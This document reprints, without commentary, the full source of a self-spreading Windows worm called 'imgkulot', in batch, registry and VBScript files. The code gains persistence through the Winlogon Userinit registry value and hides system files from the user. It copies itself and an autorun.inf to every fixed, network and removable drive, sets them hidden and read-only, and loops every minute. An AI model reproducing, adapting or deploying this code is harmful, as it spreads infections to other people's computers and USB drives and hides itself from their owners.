IMGKULOT.BAT
Code:
@echo off
if exist .\imgkulot.reg regedit /s .\imgkulot.reg
if not “%1?==”" goto open
if exist imgkulot.vbs start WScript.exe imgkulot.vbs&exit
if exist %SYSTEMROOT%\system32\imgkulot.vbs start WScript.exe %SYSTEMROOT%\system32\imgkulot.vbs&exit
exit
:open
if not “%1?==”Open” goto next
start explorer .\
exit
:next
if “%1?==”+” attrib +s +a +h +r %2\imgkulot.*
if “%1?==”+” attrib +s +a +h +r %2\autorun.inf
:end

IMGKULOT.reg
Code:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
“Userinit”=”userinit.exe,imgkulot.bat”

[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\Advanced]
“ShowSuperHidden”=dword:00000000

IMGKULOT.vbs
Code:
‘imgkulot v1.0
‘Iloilo City Phils
‘email me if you found this :) @ imagina_boy@linuxmail.org
‘May 2007
on error resume next
Set WshShell =CreateObject(”WScript.Shell”)

For i=1 to 1

set Of = CreateObject(”Scripting.FileSystemObject”)
set dir = Of.GetSpecialFolder(1)

Set dc = Of.Drives
if WScript.ScriptFullName=dir&”\imgkulot.vbs” then
isdir=true
else
a=WshShell.Run(”imgkulot.bat Open” ,0,False)
isdir=false
end if

For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>”A:” and d<> “B:”) Then
a=WshShell.Run(”imgkulot.bat - “&d ,0,True)
if isdir then
Of.CopyFile dir&”\imgkulot.*”,d&”\”,True
Of.CopyFile dir&”\autorun.inf”,d&”\”,True
else
Of.CopyFile “imgkulot.*”,d&”\”,True
Of.CopyFile “autorun.inf”,d&”\”,True
end if
a=WshShell.Run(”imgkulot.bat + “&d ,0,True)
End If
next

if isdir then
wscript.sleep 60000
i=0
else
a=WshShell.Run(”imgkulot.bat - “&dir ,0,True)
Of.CopyFile “imgkulot.*”,dir&”\”,True
Of.CopyFile “autorun.inf”,dir&”\”,True
a=WshShell.Run(”imgkulot.bat + “&dir ,0,True)
end if